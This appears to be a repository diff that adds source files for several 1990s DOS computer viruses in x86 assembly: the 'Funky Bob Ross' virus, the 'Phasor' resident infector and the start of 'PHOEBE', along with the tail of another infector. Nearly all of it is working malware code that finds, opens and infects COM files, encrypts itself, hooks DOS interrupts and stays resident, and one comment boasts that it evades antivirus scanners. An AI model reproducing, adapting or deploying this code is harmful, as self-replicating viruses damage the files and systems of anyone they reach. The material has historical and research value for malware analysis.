|
||||
push cx
|
||||
push dx
|
||||
|
||||
mov ax,5700h
|
||||
call int21h
|
||||
|
||||
mov word ptr time,cx
|
||||
mov word ptr date,dx
|
||||
|
||||
pop dx
|
||||
pop cx
|
||||
pop ax
|
||||
ret
|
||||
|
||||
Restore_Time:
|
||||
push ax
|
||||
push cx
|
||||
push dx
|
||||
|
||||
db 0bah ;MOV DX,xxxx
|
||||
date dw 0
|
||||
|
||||
db 0b9h ;MOV CX,xxxx
|
||||
time dw 0
|
||||
|
||||
mov ax,5701h
|
||||
call int21h
|
||||
|
||||
pop dx
|
||||
pop cx
|
||||
pop ax
|
||||
ret
|
||||
|
||||
Lseek_Start:
|
||||
mov al,0
|
||||
jmp short lseek2
|
||||
Lseek_End:
|
||||
mov al,2
|
||||
lseek2:
|
||||
mov ah,42h
|
||||
xor cx,cx
|
||||
cwd
|
||||
call int21h
|
||||
ret
|
||||
|
||||
;-----------------------
|
||||
;Infection Data
|
||||
;-----------------------
|
||||
;Com infection data.
|
||||
com_jmp db 0e9h,0,0,0afh
|
||||
|
||||
;-----------------------
|
||||
;Windows infection data.
|
||||
newexe_off dw 0
|
||||
al_shift dw 0
|
||||
ne_size dw 0
|
||||
last_ne dw 0
|
||||
lseek dw 0
|
||||
lseek_add dw 0
|
||||
|
||||
Relocblk:
|
||||
dw 1 ;Number of relocation items
|
||||
|
||||
db 3 ;32bit pointer relocation
|
||||
db 4 ;Additive relocation
|
||||
dw offset winip
|
||||
old_cs dw 0 ;The stored original CS & IP of host.
|
||||
old_ip dw 0
|
||||
|
||||
|
||||
Reloc_end:
|
||||
;-----------------------
|
||||
|
||||
virus_size:
|
||||
db 512 dup (0) ;Storage buffer.
|
||||
v_mem_size:
|
||||
|
|
@ -0,0 +1,565 @@
|
|||
; The Funky Bob Ross Virus Version 1.0
|
||||
; Written by Dark Angel / 26 September 1991 / (c) 1991
|
||||
; PHALCON/SKISM Co-op
|
||||
; Effective length: 1125, Resident length: 672 bytes
|
||||
;
|
||||
; DEDICATION:
|
||||
; This virus was written expressedly to
|
||||
; 1) Piss off Patty Hoffman, John McAffee, Ross Greenberg, and all the
|
||||
; other guru-wanna-bes in this world.
|
||||
; 2) Spread the message of The Almighty Bob, and so enrichen the lives
|
||||
; of people all over the world.
|
||||
; 3) Show off (Now I can tell people that I wrote a virus!)
|
||||
;
|
||||
; WHAT THIS IS:
|
||||
; This is a self-encrypting, non-overwriting COM infector. It doesn't do
|
||||
; anything to EXE files. File sizes increase by 1117 bytes. It goes off
|
||||
; on July 9th of any year or after 7 infection "waves."
|
||||
;
|
||||
; WHAT IT DOES WHEN IT GOES OFF:
|
||||
; The virus goes memory resident and prints out a Bobism every 5 minutes.
|
||||
; It then enters a delay loop for approximately 5 seconds, allowing for a
|
||||
; brief moment of silence while the victim reads Bob's holy message. The
|
||||
; virus will not destroy anything. The virus will not go TSR if it finds
|
||||
; another copy of itself in memory.
|
||||
;
|
||||
; CAUTION: THIS IS DESTRUCTIVE CODE. YOU SHOULD NOT EVEN BE LOOKING AT IT.
|
||||
; I HAVE NEVER AND WILL NEVER RELEASE THIS CODE. IF YOU SHOULD BE
|
||||
; LOOKING AT IT, IT IS BECAUSE IT WAS STOLEN FROM ME. YOU HAVE NO
|
||||
; RIGHT TO LOOK AT THIS CODE. IF THIS SOURCE SHOULD FALL INTO THE
|
||||
; WRONG HANDS, IT COULD BE VERY BAD! DESTROY THIS IMMEDIATELY. I
|
||||
; HOLD NO RESPONSIBILITY FOR WHAT STUPID PEOPLE DO WITH THIS CODE.
|
||||
; THIS WAS WRITTEN FOR EDUCATIONAL PURPOSES ONLY!!!
|
||||
|
||||
CODE SEGMENT PUBLIC 'CODE'
|
||||
ORG 100h
|
||||
ASSUME CS:CODE,DS:CODE,SS:CODE,ES:CODE
|
||||
|
||||
DTA_fileattr EQU 21
|
||||
DTA_filetime EQU 22
|
||||
DTA_filedate EQU 24
|
||||
DTA_filesize EQU 26
|
||||
DTA_filename EQU 30
|
||||
|
||||
virus_marker equ 026FFh ; JMP WORD PTR
|
||||
virus_marker2 equ 00104h ; 0104h
|
||||
part1_size equ part1_end - part1_start
|
||||
part2_size equ part2_end - part2_start
|
||||
offset_off equ duh2
|
||||
init_delay equ 5280 ; Initial delay
|
||||
delay equ 400 ; Subsequent delay
|
||||
num_Messages equ 7 ; Number of Bob messages
|
||||
waves equ 7 ; Number of waves to go off after
|
||||
infec_date equ 0709h ; Date of psychosis
|
||||
|
||||
Counter equ 108h
|
||||
D_Mess equ 110h
|
||||
Int_08_Start equ 112h
|
||||
|
||||
part1_start:
|
||||
jmp word ptr duh
|
||||
duh dw middle_part_end - part1_start + 100h
|
||||
duh2 dw 0
|
||||
part1_end:
|
||||
|
||||
middle_part_start:
|
||||
middle_part_end:
|
||||
|
||||
;=============================================================================
|
||||
;Part 2 begins: Dis is the D-Cool part
|
||||
;=============================================================================
|
||||
part2_start:
|
||||
cld
|
||||
call decrypt
|
||||
mov si, offset Go
|
||||
add si, offset_off
|
||||
jmp si
|
||||
|
||||
encrypt_val db 00h
|
||||
|
||||
decrypt:
|
||||
encrypt:
|
||||
mov si, offset encrypt_val
|
||||
add si, offset_off
|
||||
mov ah, byte ptr [si]
|
||||
|
||||
mov cx, offset part2_end - offset bam_bam
|
||||
add si, offset bam_bam - offset encrypt_val
|
||||
mov di, si
|
||||
|
||||
xor_loop:
|
||||
lodsb ; DS:[SI] -> AL
|
||||
xor al, ah
|
||||
stosb
|
||||
loop xor_loop
|
||||
ret
|
||||
|
||||
copy_rest_stuff:
|
||||
; Mah copying routine
|
||||
push si ; SI -> buffer3
|
||||
call encrypt
|
||||
mov cx, part2_size
|
||||
pop dx
|
||||
add dx, offset part2_start - offset buffer3
|
||||
mov ah, 40h
|
||||
int 21h
|
||||
call decrypt
|
||||
bam_bam:
|
||||
ret
|
||||
|
||||
buffer db 0CDh, 20h, 0, 0, 0, 0, 0, 0
|
||||
buffer2 db part1_end - part1_start dup (?)
|
||||
buffer3 dw ?
|
||||
orig_path db 64 dup (?)
|
||||
num_infec db 0 ; Infection wave number
|
||||
infec_now db 0 ; Number files infected this time
|
||||
root_dir db '\',0
|
||||
com_mask db '*.com',0
|
||||
dir_mask db '*.*',0
|
||||
back_dir db '..',0
|
||||
nest dw 0
|
||||
|
||||
DTA db 43 DUP (0) ; For use by infect_dir
|
||||
|
||||
Go:
|
||||
add si, offset buffer - offset Go
|
||||
mov di, si
|
||||
add di, offset buffer2 - offset buffer
|
||||
mov cx, part1_size
|
||||
rep movsb
|
||||
|
||||
mov ah, 47h ; Get directory
|
||||
xor dl,dl ; Default drive
|
||||
add si, offset orig_path - offset buffer - 8 ; DS:[SI] -> buffer
|
||||
int 21h ; in orig_path
|
||||
jc Go_Error
|
||||
|
||||
mov ah, 3Bh ; Change directory
|
||||
mov dx, si ; to the root dir
|
||||
add dx, offset root_dir - offset orig_path
|
||||
int 21h
|
||||
jc Go_Error
|
||||
|
||||
add si, offset num_infec - offset orig_path
|
||||
inc byte ptr [si] ; New infection wave
|
||||
|
||||
push si ; Save offset num_infec
|
||||
|
||||
add si, offset infec_now - offset num_infec
|
||||
mov byte ptr [si], 3 ; Reset infection
|
||||
; counter to 3
|
||||
; for D-new run.
|
||||
|
||||
call traverse_fcn ; Do all the work
|
||||
|
||||
pop si ; Restore offset num_infec
|
||||
cmp byte ptr [si], waves ; 10 infection waves?
|
||||
jge Go_Psycho ; If so, activate
|
||||
|
||||
mov ah, 2Ah ; Get date
|
||||
int 21h
|
||||
cmp dx, infec_date ; Is it 07/09?
|
||||
jz Go_Psycho ; If so, activate
|
||||
Go_Error:
|
||||
jmp quit ; And then quit
|
||||
|
||||
Go_Psycho:
|
||||
jmp Psycho
|
||||
|
||||
origattr db 0
|
||||
origtime dw 0
|
||||
origdate dw 0
|
||||
filesize dw 0 ; Size of the uninfected file
|
||||
|
||||
oldhandle dw 0
|
||||
|
||||
;=============================================================================
|
||||
;D-Traversal function begins
|
||||
;=============================================================================
|
||||
traverse_fcn proc near
|
||||
push bp ; Create stack frame
|
||||
mov bp,sp
|
||||
sub sp,44 ; Allocate space for DTA
|
||||
push si
|
||||
|
||||
jmp infect_directory
|
||||
In_fcn:
|
||||
mov ah,1Ah ;Set DTA
|
||||
lea dx,word ptr [bp-44] ; to space allotted
|
||||
int 21h ;Do it now, do it hard!
|
||||
|
||||
mov ah, 4Eh ;Find first
|
||||
mov cx,16 ;Directory mask
|
||||
mov dx,offset dir_mask ; *.*
|
||||
add dx,offset_off
|
||||
int 21h
|
||||
jmp short isdirok
|
||||
gonow:
|
||||
cmp byte ptr [bp-14], '.' ;Is first char == '.'?
|
||||
je short donext ; If so, loop again
|
||||
lea dx,word ptr [bp-14] ;else load dirname
|
||||
mov ah,3Bh ; and changedir there
|
||||
int 21h ;Yup, yup
|
||||
jc short donext ; Do next if invalid
|
||||
mov si, offset nest ; Else increment nest
|
||||
add si, offset_off
|
||||
inc word ptr [si] ; nest++
|
||||
call near ptr traverse_fcn ; recurse directory
|
||||
donext:
|
||||
lea dx,word ptr [bp-44] ;Load space allocated for DTA address
|
||||
mov ah,1Ah ; and set DTA to it
|
||||
int 21h ; 'cause it might have changed
|
||||
|
||||
mov ah,4Fh ;Find next
|
||||
int 21h
|
||||
isdirok:
|
||||
jnc gonow ;If OK, jmp elsewhere
|
||||
mov si, offset nest
|
||||
add si, offset_off
|
||||
cmp word ptr [si], 0 ;If root directory (nest == 0)
|
||||
jle short cleanup ; Quit
|
||||
dec word ptr [si] ;Else decrement nest
|
||||
mov dx,offset back_dir ;'..'
|
||||
add dx, offset_off
|
||||
mov ah,3Bh ;Change directory
|
||||
int 21h ; to previous one
|
||||
cleanup:
|
||||
pop si
|
||||
mov sp,bp
|
||||
pop bp
|
||||
ret
|
||||
traverse_fcn endp
|
||||
;=============================================================================
|
||||
;D-Traversal function ends
|
||||
;=============================================================================
|
||||
|
||||
Goto_Error:
|
||||
jmp Error
|
||||
|
||||
enuff_for_now:
|
||||
;Set nest to nil
|
||||
mov si, offset nest ; in order to
|
||||
add si, offset_off ; halt the D-Cool
|
||||
mov word ptr [si], 0 ; traversal fcn
|
||||
jmp short cleanup
|
||||
return_to_fcn:
|
||||
jmp short In_fcn ;Return to traversal function
|
||||
|
||||
infect_directory:
|
||||
mov ah, 1Ah ;Set DTA
|
||||
mov dx, offset DTA ; to DTA struct
|
||||
add dx, offset_off
|
||||
int 21h
|
||||
|
||||
find_first_COM:
|
||||
mov ah, 04Eh ; Find first file
|
||||
mov cx, 0007h ; Any file
|
||||
mov dx, offset com_mask ; DS:[DX] --> filemask
|
||||
add dx, offset_off
|
||||
int 21h ; Fill DTA (hopefully)
|
||||
jc return_to_fcn ; <Sigh> Error #E421:0.1
|
||||
jmp check_if_COM_infected ; I<___-Cool! Found one!
|
||||
|
||||
find_next_file2:
|
||||
mov si, offset infec_now ; Another loop,
|
||||
add si, offset_off ; Another infection
|
||||
dec byte ptr [si] ; Infected three?
|
||||
jz enuff_for_now ; If so, exit
|
||||
find_next_file:
|
||||
mov ah,4Fh ; Find next
|
||||
int 21h
|
||||
jc return_to_fcn
|
||||
|
||||
check_if_COM_infected:
|
||||
mov si, offset DTA + dta_filename + 6 ; look at 7th letter
|
||||
add si, offset_off
|
||||
cmp byte ptr [si], 'D' ; ??????D.COM?
|
||||
jz find_next_file ; don't kill COMMAND.COM
|
||||
|
||||
mov ax,3D00h ; Open channel read ONLY
|
||||
mov dx, si ; Offset Pathname in DX
|
||||
sub dx, 6
|
||||
int 21h ; Open NOW!
|
||||
jc find_next_file ; If error, find another
|
||||
|
||||
xchg bx,ax ; bx is now handle
|
||||
mov ah,3Fh ; Save
|
||||
mov cx, part1_size ; first part
|
||||
mov dx, offset buffer ; to buffer
|
||||
add dx, offset_off ; to be restored
|
||||
push dx
|
||||
int 21h ; later
|
||||
|
||||
pop si ; Check for virus ID bytes
|
||||
; in the buffer
|
||||
push si
|
||||
lodsw ; DS:[SI] -> AX
|
||||
cmp ax, virus_marker ; Compare it
|
||||
jnz infect_it ; infect it if ID #1 not found
|
||||
|
||||
lodsw ; Check next two bytes
|
||||
cmp ax, virus_marker2 ; Compare it
|
||||
jnz infect_it ; infect if ID #2 not found
|
||||
pop si
|
||||
bomb_out:
|
||||
mov ah, 3Eh ; else close the file
|
||||
int 21h ; and go find another
|
||||
jmp find_next_file ; 'cuz it's already infected
|
||||
|
||||
Signature db 'PHALCON'
|
||||
|
||||
;=============================================================================
|
||||
;D-Good Stuff - Infection routine
|
||||
;=============================================================================
|
||||
infect_it:
|
||||
; save fileattr
|
||||
pop si
|
||||
add si, offset DTA + DTA_fileattr - offset buffer
|
||||
mov di, si
|
||||
add di, offset origattr - offset DTA - DTA_fileattr
|
||||
movsb ; DS:[SI] -> ES:[DI]
|
||||
movsw ; Save origtime
|
||||
movsw ; Save origdate
|
||||
movsw ; Save filesize
|
||||
; Only need LSW
|
||||
; because COM files
|
||||
; can only be up to
|
||||
; 65535 bytes long
|
||||
cmp word ptr [si - 2], part1_size
|
||||
jl bomb_out ; is less than 8 bytes.
|
||||
|
||||
do_again:
|
||||
mov ah, 2Ch ; get time
|
||||
int 21h
|
||||
add dl, dh ; 1/100 sec + 1 sec
|
||||
jz do_again ; Don't want orig strain!
|
||||
|
||||
mov si, offset encrypt_val
|
||||
add si, offset_off
|
||||
mov byte ptr [si], dl ; 255 mutations
|
||||
|
||||
mov ax, 4301h ; Set file attributes
|
||||
xor cx, cx ; to nothing
|
||||
mov dx, si ; filename in DTA
|
||||
add dx, offset DTA + DTA_filename - offset encrypt_val
|
||||
int 21h ; do it now, my child
|
||||
|
||||
mov ah, 3Eh ; Close file
|
||||
int 21h ; handle in BX
|
||||
|
||||
mov ax, 3D02h ; Open file read/write
|
||||
int 21h ; Filename offset in DX
|
||||
jc bomb_out ; Damn! Probs
|
||||
|
||||
mov di, dx
|
||||
add di, offset oldhandle - offset DTA - DTA_filename
|
||||
; copy filehandle to
|
||||
; oldhandle
|
||||
stosw ; AX -> ES:[DI]
|
||||
xchg ax, bx ; file handle in BX now
|
||||
|
||||
mov ah, 40h ; Write DS:[DX]->file
|
||||
mov cx, part1_size - 4 ; number of bytes
|
||||
mov dx, 0100h ; where code starts
|
||||
int 21h ; (in memory)
|
||||
|
||||
mov ah, 40h
|
||||
mov si, di ; mov si, offset filesize
|
||||
add si, offset filesize - 2 - offset oldhandle
|
||||
add word ptr [si], 0100h
|
||||
mov cx, 2
|
||||
mov dx, si
|
||||
int 21h ; write jmp offset
|
||||
|
||||
mov ax, [si] ; AX = filesize
|
||||
sub ax, 0108h
|
||||
|
||||
add si, offset buffer3 - offset filesize
|
||||
push si
|
||||
mov word ptr [si], ax
|
||||
mov ah, 40h
|
||||
mov cx, 2
|
||||
mov dx, si
|
||||
int 21h
|
||||
|
||||
mov ax, 4202h ; move file ptr
|
||||
xor cx, cx ; from EOF
|
||||
xor dx, dx ; offset cx:dx
|
||||
int 21h
|
||||
|
||||
call copy_rest_stuff
|
||||
|
||||
pop si
|
||||
add si, offset oldhandle - offset buffer3
|
||||
mov bx, word ptr [si]
|
||||
mov ax, 5701h ; Restore
|
||||
add si, offset origtime - offset oldhandle
|
||||
mov cx, word ptr [si] ; old time and
|
||||
add si, 2
|
||||
mov dx, word ptr [si] ; date
|
||||
int 21h
|
||||
|
||||
mov ah, 3Eh ; Close file
|
||||
int 21h
|
||||
|
||||
mov ax, 4301h ; Restore file
|
||||
xor ch, ch
|
||||
add si, offset origattr - offset origtime - 2
|
||||
mov cl, byte ptr [si] ; attributes
|
||||
mov dx, si ; filename in DTA
|
||||
add dx, offset DTA + DTA_filename - offset origattr
|
||||
int 21h ; do it now
|
||||
|
||||
jmp find_next_file2
|
||||
|
||||
GotoError:
|
||||
jmp error
|
||||
|
||||
Psycho:
|
||||
; Check if already installed
|
||||
push es
|
||||
mov byte ptr cs:[100h],0 ; Initialize fingerprint
|
||||
xor bx, bx ; Zero BX for start
|
||||
mov ax, cs
|
||||
Init1: inc bx ; Increment search segment
|
||||
mov es, bx ; value
|
||||
cmp ax, bx ; Not installed if we reach
|
||||
je Not_Installed_Yet ; the current segment
|
||||
mov si, 100h ; Search segment for
|
||||
mov di, si ; fingerprint in first
|
||||
mov cx, 4 ; four bytes
|
||||
repe cmpsb ; Compare
|
||||
jne init1 ; If not equal, try another
|
||||
jmp Quit_Init ; else already installed
|
||||
|
||||
Not_Installed_Yet:
|
||||
pop es
|
||||
mov word ptr cs:[Counter], init_delay
|
||||
mov word ptr cs:[D_Mess], 1
|
||||
|
||||
; Copy interrupt handler to beginning of code
|
||||
mov si, offset _int_08_handler
|
||||
add si, offset_off
|
||||
mov di, Int_08_Start
|
||||
mov cx, int_end - int_start
|
||||
rep movsb ; DS:[SI]->ES:[DI]
|
||||
|
||||
mov ax, 3508h ; Get int 8 handler
|
||||
int 21h ; put in ES:BX
|
||||
|
||||
mov cs:[duh], bx ; Save old handler
|
||||
mov cs:[duh+2], es ; in cs:[104h]
|
||||
|
||||
mov ax, 2508h ; Install new handler
|
||||
mov dx, Int_08_Start ; from DS:DX
|
||||
int 21h ; Do it
|
||||
|
||||
push es
|
||||
mov ax, ds:[2Ch] ; Deallocate program
|
||||
mov es, ax ; environment block
|
||||
mov ah, 49h
|
||||
int 21h
|
||||
pop es
|
||||
|
||||
mov ax, 3100h ; TSR
|
||||
mov dx, (offset int_end - offset int_start + offset part1_end - offset Code + 4 + 15 + 128) SHR 4
|
||||
int 21h
|
||||
int 20h ; In case of error
|
||||
Quit_Init:
|
||||
pop es
|
||||
Error: ; On error, quit
|
||||
Quit:
|
||||
mov ah, 3Bh ; Change directory
|
||||
mov dx, offset root_dir ; to the root dir
|
||||
add dx, offset_off
|
||||
int 21h
|
||||
|
||||
mov ah,3Bh ; Change directory
|
||||
; Return to orig dir
|
||||
add dx, offset orig_path - offset root_dir
|
||||
int 21h
|
||||
|
||||
; Copy buffer back to beginning of file
|
||||
mov si, dx
|
||||
add si, offset buffer2 - offset orig_path
|
||||
mov di, 0100h
|
||||
mov cx, part1_end - part1_start
|
||||
rep movsb
|
||||
|
||||
mov di, 0100h
|
||||
jmp di
|
||||
int_start:
|
||||
_int_08_handler proc far
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push ds
|
||||
push es
|
||||
pushf
|
||||
dec word ptr CS:[Counter] ; Counter
|
||||
jnz QuitNow
|
||||
;ACTIVATION!!!
|
||||
mov word ptr CS:[Counter], delay ; Reset counter
|
||||
|
||||
; Set up DS & ES to equal CS
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
|
||||
mov si, offset Messages - offset int_start + int_08_start
|
||||
mov cx, cs:D_Mess
|
||||
xor ah, ah
|
||||
LoopY_ThingY:
|
||||
lodsb ; DS:SI -> AL
|
||||
add si, ax ; ES:BP -> Next message to display
|
||||
loop LoopY_ThingY
|
||||
|
||||
lodsb
|
||||
xchg si, bp
|
||||
|
||||
xor cx, cx
|
||||
mov cl, al ; Length of string
|
||||
mov ax, 1300h ;
|
||||
mov bx, 0070h ; Page 0, inverse video
|
||||
xor dx, dx ; (0,0)
|
||||
int 10h ; Display ES:BP
|
||||
inc word ptr cs:[D_Mess]
|
||||
cmp word ptr cs:[D_Mess], num_messages
|
||||
jnz Sigh
|
||||
mov word ptr cs:[D_Mess], 1
|
||||
|
||||
Sigh: mov cx, 30h
|
||||
Sigh2: push cx
|
||||
mov cx, 0FFFFh
|
||||
DelayX: loop DelayX
|
||||
pop cx
|
||||
loop Sigh2
|
||||
xchg si, bp
|
||||
QuitNow:
|
||||
popf
|
||||
pop es
|
||||
pop ds
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
jmp dword ptr CS:duh
|
||||
|
||||
Messages db 0
|
||||
db 15, 'Bob Ross lives!'
|
||||
db 21, 'Bob Ross is watching!'
|
||||
db 22, 'Maybe he lives here...'
|
||||
db 26, 'What a happy little cloud!'
|
||||
db 38, 'Maybe he has a neighbour right here...'
|
||||
db 40, 'You can make up stories as you go along.'
|
||||
_int_08_handler endp
|
||||
int_end:
|
||||
part2_end:
|
||||
|
||||
CODE ends
|
||||
end part1_start
|
||||
|
|
@ -0,0 +1,166 @@
|
|||
;
|
||||
; [Phasor] v1.0
|
||||
; Written by Memory Lapse of Phalcon/Skism
|
||||
;
|
||||
; This is a simple memory resident, COM infector. It hides in the unused
|
||||
; portion of the interrupt table starting at 0:1E0h.
|
||||
;
|
||||
; To Assemble:
|
||||
; TASM [PHASOR10]/m2 - TLINK [PHASOR10]/T
|
||||
;
|
||||
.model tiny ;
|
||||
.code ;
|
||||
.286 ;
|
||||
org 100h ;
|
||||
;
|
||||
start: ;Mark Start of Code
|
||||
v_start: ;Mark Start of Virus
|
||||
mov bp,0000h ;Self Modifying Delta
|
||||
delta equ $-002h ; Offset.
|
||||
;
|
||||
xor di,di ;Load Register w/Zero
|
||||
mov es,di ;ES = 000h
|
||||
;
|
||||
mov di,01E0h ;DI = 1E0h
|
||||
;
|
||||
cmp byte ptr es:[di],0BDh ;Virus Present?
|
||||
jz restoreCOMbytes ;(0BDh = MOV BP,XXXX)
|
||||
;
|
||||
push cs ;Save CS onto Stack
|
||||
pop ds ;Restore DS (CS=DS)
|
||||
;
|
||||
mov cx,(heap_end-v_start)/002h ;CX = # of Words To Copy
|
||||
lea si,[bp+100h] ;SI = Start of Virus
|
||||
rep movsw ;Copy Virus To Int Table
|
||||
;
|
||||
mov ax,offset i021h+0E0h ;AX = Handler + Offset
|
||||
;
|
||||
xchg ax,word ptr es:[084h] ;Modify Interrupt Table
|
||||
mov word ptr es:[i021hOffset+0E0h],ax ; To Point To Virus's
|
||||
; Interrupt 021h
|
||||
mov ax,es ; Handler.
|
||||
;
|
||||
xchg ax,word ptr es:[086h] ;
|
||||
mov word ptr es:[i021hSegment+0E0h],ax ;
|
||||
;
|
||||
restoreCOMbytes: ;
|
||||
push cs cs ;Equal Out Segment
|
||||
pop ds es ; Registers.
|
||||
;
|
||||
lea si,[bp+host_bytes] ;SI = Host's Bytes
|
||||
mov di,100h ;DI = Start of Host
|
||||
push di ;Save DI onto Stack
|
||||
mov byte ptr [di],0C3h ;Write RET to Host
|
||||
call di ;Call 100h (RET)
|
||||
;
|
||||
movsb ;Byte @ DS:[SI]=>ES:[DI]
|
||||
movsw ;Word @ DS:[SI]=>ES:[DI]
|
||||
;
|
||||
retn ;Return to Host Program.
|
||||
;
|
||||
host_bytes db 0CDh,020h,000h ;Buffer For Starting of
|
||||
; Host Program.
|
||||
infect: xor bp,bp ;Load Register w/Zero
|
||||
;
|
||||
mov ax,3D00h ;AX = 3D00h
|
||||
int 021h ;Open File in R/O Mode.
|
||||
;
|
||||
xchg ax,bx ;
|
||||
;
|
||||
push bx cs cs ;Save Handle, Equal Out
|
||||
pop ds es ; Segment Registers.
|
||||
;
|
||||
mov ax,1220h ;AX = 1220h
|
||||
int 02Fh ;Get JFT.
|
||||
;
|
||||
mov ax,1216h ;AX = 1216h
|
||||
mov bl,byte ptr es:[di] ;BL = Location of SFT
|
||||
int 02Fh ;Get SFT.
|
||||
;
|
||||
pop bx ;Restore File Handle
|
||||
;
|
||||
mov word ptr es:[di+002h],002h ;Open File For Read And
|
||||
; Write Mode.
|
||||
mov ah,03Fh ;AH = 3Fh
|
||||
mov cx,003h ;CX = # of Bytes To Read
|
||||
mov dx,offset host_bytes+0E0h ;DX = Buffer + Offset
|
||||
int 021h ;Read 003h Bytes To Bufr
|
||||
;
|
||||
mov si,dx ;SI = DX
|
||||
;
|
||||
cmp word ptr [si+000h],5A4Dh ;EXE File?
|
||||
jz closeCOMfile ;Exit Virus
|
||||
;
|
||||
cmp word ptr [si+000h],4D5Ah ;EXE File?
|
||||
jz closeCOMfile ;Exit Virus
|
||||
;
|
||||
push cx ;Save CX onto Stack.
|
||||
;
|
||||
mov ax,4202h ;AX = 4202h
|
||||
xor cx,cx ;Load Register w/Zero
|
||||
cwd ;Load Register w/Zero
|
||||
int 021h ;Move File Pointer @ EOF
|
||||
;
|
||||
pop cx ;Restore CX.
|
||||
;
|
||||
mov word ptr [delta+0E0h],ax ;Write Delta Offset
|
||||
;
|
||||
sub ax,cx ;Subtract 3h from Size.
|
||||
mov byte ptr [temp_buffer+0E0h+000h],0E9h ;Write Jump to Buffer
|
||||
mov word ptr [temp_buffer+0E0h+001h],ax ;Write Location to Buffr
|
||||
;
|
||||
sub ax,(v_end-v_start) ;Subtract Virus Length
|
||||
;
|
||||
cmp word ptr [si+001h],ax ;Is File Infected?
|
||||
jz closeCOMfile ;Jump if Infected.
|
||||
;
|
||||
mov ah,040h ;AH = 40h
|
||||
mov cx,(v_end-v_start) ;CX = # of Bytes to Wrte
|
||||
mov dx,01E0h ;DX = Data to Write
|
||||
int 021h ;Write To File.
|
||||
;
|
||||
mov word ptr es:[di+015h],bp ;Move File Pointer To
|
||||
mov word ptr es:[di+017h],bp ;Start of File.
|
||||
;
|
||||
mov ah,040h ;AH = 40h
|
||||
mov cx,003h ;CX = # of Bytes to Wrte
|
||||
mov dx,offset temp_buffer+0E0h ;DX = Data to Write
|
||||
int 021h ;Write To File.
|
||||
;
|
||||
mov ax,5701h ;AX = 5701h
|
||||
mov cx,word ptr es:[di+00Dh] ;CX = Time Stamp
|
||||
mov dx,word ptr es:[di+00Fh] ;DX = Date Stamp
|
||||
int 021h ;Set Time.
|
||||
;
|
||||
closeCOMfile: ;
|
||||
mov ah,03Eh ;AH = 3Eh
|
||||
int 021h ;Close File.
|
||||
;
|
||||
jmp exit ;Unconditional Jump
|
||||
;
|
||||
db "[ML/PS]" ;
|
||||
;
|
||||
i021h: pusha ;Preserve All Regs.
|
||||
push ds es ;Save Segment Registers.
|
||||
;
|
||||
sub ax,4B00h ;Executing A File?
|
||||
jnz exit ;Jump If Not 4B00h.
|
||||
;
|
||||
jmp infect ;Unconditional Jump.
|
||||
|
||||
exit: pop es ds ;Restore Segment Regs.
|
||||
popa ;Restore All Registers.
|
||||
;
|
||||
int21h: db 0EAh ;JMP SSSS:OOOOO
|
||||
;
|
||||
v_end: ;End of Virus
|
||||
heap_start: ;Start of Heap
|
||||
;
|
||||
i021hOffset dw 001h dup (?) ;Buffer for Offset
|
||||
i021hSegment dw 001h dup (?) ;Buffer for Segment
|
||||
|
||||
temp_buffer db 003h dup (?) ;Buffer for Calculations
|
||||
;
|
||||
heap_end: ;End of Heap
|
||||
;
|
||||
end start ;End of Source
|
|
@ -0,0 +1,180 @@
|
|||
|
||||
|
||||
|
||||
;PHOEBE
|
||||
;coded by Opic of the Codebreakers
|
||||
;PHOEBE is an appending .com infector with DT via a dotdot routine
|
||||
;infection criteria is met on a moday once all files that are capable of
|
||||
;being infected by PHOEBE are, a payload is delivered:
|
||||
;the monitor will print a message to the screen(in the French) which
|
||||
;translates to;"Indroducing PHOEBE, she was coded in the heart of midwest
|
||||
;america in the autumn of ninteen ninty-seven by Opic of The Codebreakers"
|
||||
;along with a text string which will be printed to the printer. Thanx go
|
||||
;out to:Spo0ky,Arsonic,and Sea4 for which without their help Phoebe whould
|
||||
;not be what she is today. PHOEBE can be assembled using a86 V4.02
|
||||
;it should be noted that phoebe has no anti-av routines, yet is still
|
||||
;remains undetectable by most av software. a testament to the inconsistancy
|
||||
;of many av scanners, specifically windows95 scanners.
|
||||
|
||||
|
||||
|
||||
db 0e9h,0,0 ;jump to virus code..
|
||||
|
||||
|
||||
start_of_PHOEBE:
|
||||
|
||||
call delta ;get delta offset to get # of byte virus moved down
|
||||
|
||||
delta:
|
||||
pop bp ; call a pop register to get the ip back into register
|
||||
sub bp,offset delta ; we subtract the offset delta from bp(ip)
|
||||
mov cx,3
|
||||
mov di,100h
|
||||
lea si,[bp+buffer]
|
||||
rep movsb
|
||||
jmp find_first ;jump to find the first file
|
||||
|
||||
find_first:
|
||||
mov ah,4eh ;find's first file in the starting directory..
|
||||
mov cx,7
|
||||
lea dx,[bp+filespec]
|
||||
int 21h
|
||||
jnc open ;one found.. then infect da
|
||||
jmp dir_loopy ;otherwise change directory
|
||||
|
||||
dir_loopy:
|
||||
lea dx,[bp+dotdot]
|
||||
mov ah, 3bh ;int for chdir
|
||||
int 21h
|
||||
jnc find_first ;find first file in new directory
|
||||
jmp check_payload ; we finished spreading so we check payload criteria
|
||||
|
||||
find_next:
|
||||
mov ah, 4Fh ;find next..
|
||||
int 21h
|
||||
jnc open ;one found.. INFECT IT!
|
||||
jmp dir_loopy ;otherwise we do a cd..
|
||||
|
||||
open:
|
||||
mov ax,3d02h ;open file
|
||||
mov dx,9eh ;get the info from the dta
|
||||
int 21h
|
||||
|
||||
mov bx,ax
|
||||
|
||||
mov ah,3fh ;read from file
|
||||
mov cx,3 ;3 bytes
|
||||
lea dx,[bp+buffer]
|
||||
int 21h
|
||||
mov ax,word ptr[80h + 1ah]
|
||||
sub ax,end_of_PHOEBE - start_of_PHOEBE + 3
|
||||
cmp ax,word ptr[bp+buffer+1]
|
||||
je bomb_it_out
|
||||
mov ax,word ptr[80h + 1ah]
|
||||
sub ax,3
|
||||
mov word ptr[bp+new_three+1],ax
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
mov ah,40h
|
||||
lea dx,[bp+new_three]
|
||||
mov cx,3
|
||||
int 21h
|
||||
mov ax,4202h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
mov ah,40h
|
||||
lea dx,[bp+start_of_PHOEBE]
|
||||
mov cx,end_of_PHOEBE - start_of_PHOEBE
|
||||
int 21h
|
||||
jmp bomb_it_out
|
